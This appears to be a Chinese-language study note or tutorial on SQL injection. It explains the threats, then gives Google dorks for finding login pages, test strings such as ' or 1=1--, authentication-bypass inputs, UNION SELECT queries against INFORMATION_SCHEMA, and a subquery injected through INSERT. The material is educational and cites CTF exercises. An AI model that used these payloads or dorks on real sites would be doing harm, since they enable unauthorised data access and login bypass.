SQL injection is a technique of injecting sql commands to exploit non-validated input
SQL Injection威脅
*可以得到資料庫中的一些重要資料,例如帳號、密碼、姓名、地址等等.
*可以取得資料庫系統運作的schema,得到資料庫的表格名稱、欄位名稱等,提供攻擊者進一步的進攻相關資訊.
*存入惡意sql或修改資料庫的資料,例如修改特定使用者或系統管理員的密碼.
*刪除重要的資料造成系統無法正常運作,導致系統癱瘓.
*透過資料庫SQL執行作業系統的指令,這允許攻擊者可以控制整個作業系統
基本sql注入範例
假設原始sql如下
SELECT Title,Content FROM articles WHERE id = $id
假設輸入點如下
http://example.com/show.php?id=1
透過以下sql injection可改變資料庫操作行為
http://example.com/show.php?id=1 or 1=1
因為新的sql會變以下,這會將所有資料撈出
SELECT Title,Content FROM articles WHERE id =1 or 1=1
Steps for performing sql injection
1尋找輸入點
2測試是否有漏洞
3注入不合法的sql指令
1尋找輸入點
判斷使用get或post方式注入
ex:
尋找網路上所有可能輸入點
用google搜尋login.asp site:com.tw
ex:
尋找demo.testfire.net的輸入點
用google搜尋site:demo.testfire.net inurl:login
2測試是否有漏洞
在輸入點輸入特殊字串判斷是否有弱點
依據不同source code寫法有以下不同的對應方式
ex:
' or 1=1--
" or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a)
ps:
其他透過單引號判斷的方式
https://hebrtcp.wordpress.com/2015/09/04/sql-injection%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A/
https://medium.com/@gordonfang_85054/資安滲透攻防筆記-1-c9a6b8ada5fa
3注入不合法的sql指令
常見的注入像是authorization bypass,透過select command挖資料,透過insert command注入資料等
authorization bypass
範例1如下
假設原始sql如下
"SELECT * FROM users WHERE (id= '"+username+"') and (pw= '"+ password+"');"
透過以下可以饒過認證
username = "1' OR '1'='1";
password = "1' OR '1'='1";
因為新的sql會變以下,改變原本行為
"SELECT * FROM users WHERE (id= '1' OR '1'='1') and (pw= '1' OR '1'='1');"
範例2如下
假設原始sql如下
SELECT * FROM user WHERE account = '$account' AND password = '$password'
透過以下可以饒過認證
$account= 'OR 1=1 #
因為新的sql會變以下,改變原本行為
SELECT * FROM user WHERE account = '' OR 1=1 # AND password = ''
refer
https://web.ctflearn.com/web04
透過select command挖資料
範例1如下
假設原始sql如下
SELECT author,title FROM blog WHERE id=$id
如果$id注入以下可撈到相關資訊
0 UNION SELECT table_name, column_name FROM INFORMATION_SCHEMA.COLUMNS
因為新的sql會變以下,改變原本行為
SELECT author,title FROM blog WHERE id=0 UNION SELECT table_name, column_name FROM INFORMATION_SCHEMA.COLUMNS
範例2如下
假設原始sql如下
SELECT * FROM user WHERE account = '$account' AND password = '$password'
如果$account注入以下可撈到相關資訊
'UNION SELECT @@version,database()#
因為新的sql會變以下,改變原本行為
SELECT * FROM user WHERE account = ''UNION SELECT @@version,database()# AND password = ''
ps:
@@Version:Transact SQL Configuration Functions
refer
https://web.ctflearn.com/web4/
透過insert command注入資料
範例如下
假設原始sql如下
"insert into tablename values ("+$name+","+$email+","+"$phone")"
如果$name填入以下可存入sql語法
(select top 1 fieldname from tablename)
因為新的sql會變以下,改變原本行為
"insert into tablename values ("+(select top 1 fieldname from tablename)+","ray@ray.com","666-6666")"
之後配合原本對應程式撈出來後,就會執行select top 1 fieldname from tablename